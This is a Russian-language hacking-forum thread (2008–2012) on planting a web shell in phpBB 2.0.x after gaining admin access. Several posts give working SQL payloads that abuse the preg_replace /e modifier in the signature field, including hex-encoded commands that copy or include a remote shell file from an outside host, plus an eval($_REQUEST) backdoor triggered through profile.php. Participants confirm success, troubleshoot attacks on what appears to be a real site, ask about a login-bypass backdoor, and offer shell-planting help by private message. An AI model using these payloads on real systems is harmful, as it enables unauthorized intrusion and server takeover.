ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.io/forumdisplay.php?f=16)
-   -   заливка shell - phpbb2 (https://forum.antichat.io/showthread.php?t=67591)

number0 17.04.2008 18:59

заливка shell - phpbb2
 
Здраствуйте! Версия форума 2.0.22 чистый (без модов). Что есть:
1. админский акуант (доступ в админку)
2. серверный путь к форуму
3. config.php
ftp доступа нету. =( БД не root.

Собственно вопрос... как загрузить shell ?

Sleep 17.04.2008 19:04

глянь
https://forum.antichat.ru/thread24488.html
и тут на ачате видео еще было по заливки шелла через бд

vp$ 17.04.2008 19:07

если file_priv=N
то никакое видео не поможет, и врятли что то можно сделать

Scipio 17.04.2008 19:20

несколько раз заливал через
Цитата:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
но при этом у меня всегда был доступ к БД, через phpMyAdmin
насчет твоей версии незнаю

number0 17.04.2008 19:29

на форуме майскл имеет права file_priv=N

Scipio 17.04.2008 19:32

для того способа который я сказал file_priv не имеет значения

number0 17.04.2008 19:39

Цитата:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
Да, сроботал. PHP Version показало.
мм.. может уже есть и готовый шелл под скрипт выше указаный? С99 хотелось бы...

Scipio 17.04.2008 19:44

в user_sig пропиши phpbb:copy("http://путь до шелла/шелл.txt","/путь до папки/куда лить/шелл.php")

number0 17.04.2008 19:59

Цитата:

UPDATE phpbb_users SET user_sig_phpbb:copy=("http://192.168.10.5/db.txt","/var/www/html/forum/db.php") WHERE user_id=2;
Не дало востановить БД. Где-то ошибочку допустил.. подправте пожалуйста.

Цитата:

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Scipio 17.04.2008 20:04

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F3139322E3136382E31302E352F64622E747874222C222F7661722F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;
не забудь пробелы убрать здесь:
F2F3 139322E3136382E31302E352F64622E747874222C222F76617 22F

number0 17.04.2008 20:16

Scipio я так понял тут привязка пошла к 192.168.10.5 ? Походу да.. не вышло. Возможно из-за того что 192.168.10.5 в другой под сети...
Если не трудно. то пожалуйста зделай под IP 10.0.0.5

Scipio 17.04.2008 20:20

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F31302E302E302E352F64622E747874222C222F7661722F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;
надеюсь на 10.0.0.5 поднят вебсервер?

number0 17.04.2008 20:28

Конечно, стоит апач с подержкой пхп.
Сообствено написало что БД успешно востановлена... но при входе в "профиль" просто пустая белая страница.
И при заходе на /forum/db.php

Цитата:

The requested URL /forum/db.php was not found on this server.

Scipio 17.04.2008 20:31

ну если все удачно прошло, то здесь /var/www/html/forum/ будет шелл с именем db.php

number0 17.04.2008 20:32

Scipio читай выше.. (я пост просто отредактировал). Что-то видать не верно..

vp$ 17.04.2008 20:34

прочитайте пост #3 три раза
одно дело ты записываешь функцию в базу, а другое записывать файл с помощью базы, если прав на работу с файлами нет, хоть об стенку бейся ни че не выйдет!

Scipio 17.04.2008 20:45

Цитата:

Сообщение от vp$
прочитайте пост #3 три раза
одно дело ты записываешь функцию в базу, а другое записывать файл с помощью базы, если прав на работу с файлами нет, хоть об стенку бейся ни че не выйдет!

да причем здесь это, заливка происходит средствами php а не mysql

2number0, возможно нет прав на запись в эту папку, ищи папку где точно есть права на запись, например можно попробовать папку с аватарами, попробуй так:
Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A696E636C7564652022687474703A2F2F31302E302E302E352F64622E74787422 WHERE user_id=2;
это инклюд

number0 17.04.2008 20:53

Успешно БД востановило... профиль по прежнему пустой. Собственно что должно было выполнится?

Scipio 17.04.2008 20:59

должен был шелл http://10.0.0.5/db.txt проинклюдиться, db.txt- это точно полноценный вебшел?

number0 17.04.2008 21:07

Да полностью роботает, использовал его не на одном сайте.

number0 17.04.2008 21:25

Посмотрел логи апача... логи молчат. никаких соденений не устанавливалось на отдачу файлика db.txt

Nek1t 27.04.2008 00:26

А что делать если profile.php просто нету?
Цитата:

Not Found
The requested URL /phpBB2/profile.php was not found on this server.

tmp 19.05.2008 12:26

Схожая проблема, только чуть сложнее
2.0.21 чистый (без модов).
Админка есть
нулевой байт экранируется
мускуль-иньекция в скрипте ЦМС (не пхпбб)
чкрез восстановление БД - то же не получится, форум криво настроен, что нельзя сделать декап БД :( (оказалось что иногда криворукость помогает))))
Не пойму другого:
стараюсь делать через иньекцию INTO OUTFILE в */avatars/shel.php через CHAR или через 0x
Сервер мне только выдает строку в странице ту что после select но в файл не выводит
LOAD_FILE - вообще ни чего не выводит, но это я понял на всех хостингах, на моем тоже не выводит при чистом запросе из мускуль клиента.
Можно что то еще сделать по этим признакам?
спасибо
ЗЫ
Все работает!! Это я про експлоит Шанкара, рано разочаровался, то экранировало нул. байт в запросе SQL а через эксплойт все прошло! Вери гуд! :)

DiegoSun 01.06.2008 13:32

Не могу найти тему. Если кто помнит подскажите. Как сохранить возможность в phpbb заходить под любым логином. Там надо было добавить код при авторизации (был нужен доступ по ftp)

$cr1pt 11.04.2010 18:06

проще всего залить шелл:
создаем 1.sql cо следующим содержанием:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_REQUEST[c]));' WHERE user_id=2;

далее:
profile.php?mode=editprofile&c=copy('http://127.0.0.1/shell.txt','/home/home/public_html/forum/shell.php');

Всё готово ;)

Spunoff 22.03.2012 18:19

Цитата:

Сообщение от $cr1pt
проще всего залить шелл:
создаем 1.sql cо следующим содержанием:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_REQUEST[c]));' WHERE user_id=2;
далее:
profile.php?mode=editprofile&c=copy('http://127.0.0.1/shell.txt','/home/home/public_html/forum/shell.php');
Всё готово

Спасибо, залился.

Всё перепробовал что только можно, а сделал как тут указано и всё ок.

П.С поэтому апнул тему...

попугай 03.05.2012 22:54

Добавляю сигнатуру, захожу в профиль и вижу

Цитата:

Сообщение от None
Warning: preg_replace() [function.preg-replace]: No ending delimiter '#' found in [path]/admin/admin_users.php on line 843

код, есесно, не выполняется.

посмотрел соурсы движка

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$signature[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]$this_userdata[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user_sig_bbcode_uid'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'#:'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this_userdata[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user_sig_bbcode_uid'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'#si'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this_userdata[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user_sig'[/COLOR][COLOR="#007700"]]) :[/COLOR][COLOR="#0000BB"]$this_userdata[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user_sig'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$signature[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$html_entities_match[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$html_entities_replace[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$signature[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Видно, что регулярка идет не через "/", а через "#"

заменил (.+)/e на (.+)#e - ошибка исчезла, но код не выполняется.

OxoTnik 04.05.2012 12:58

Цитата:

Сообщение от $cr1pt
проще всего залить шелл:
создаем 1.sql cо следующим содержанием:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_REQUEST[c]));' WHERE user_id=2;
далее:
profile.php?mode=editprofile&c=copy('http://127.0.0.1/shell.txt','/home/home/public_html/forum/shell.php');
Всё готово

Обычно это прокатывало, на встретил форум, когда при заходе в профиль висит надпись,

Цитата:

Сообщение от None
запрещено редактировать чужой профиль

код не выполняется ((

Случ, не знаете другой способ? (file_priv N, аву не заинклудить нету прав на заливку файлов и аватаров)

попугай 04.05.2012 13:17

Цитата:

Сообщение от OxoTnik
Обычно это прокатывало, на встретил форум, когда при заходе в профиль висит надпись,
код не выполняется ((
Случ, не знаете другой способ? (file_priv N, аву не заинклудить нету прав на заливку файлов и аватаров)

сессию в гете нужно держать. Сайт случаем, не http://b******oi.ru?

OxoTnik 04.05.2012 13:22

Цитата:

Сообщение от попугай
сессию в гете нужно держать. Сайт случаем, не http://b******oi.ru?

да)

ну тогда спортивный вопрос, как сессию держать в гете?

не хочешь не надо) но я его всё равно добью.

попугай 04.05.2012 19:47

Цитата:

Сообщение от OxoTnik
да)
ну тогда спортивный вопрос, как сессию держать в гете?
не хочешь не надо) но я его всё равно добью.

когда заходишь на профиль сессия в параметре GET передается

profile.php?u=2&c=md5_hash_of_session ее убирать не нужно

Lasteeck 26.07.2012 11:26

Помогу влить шелл через этот способ, стучи в ЛС.


Время: 11:00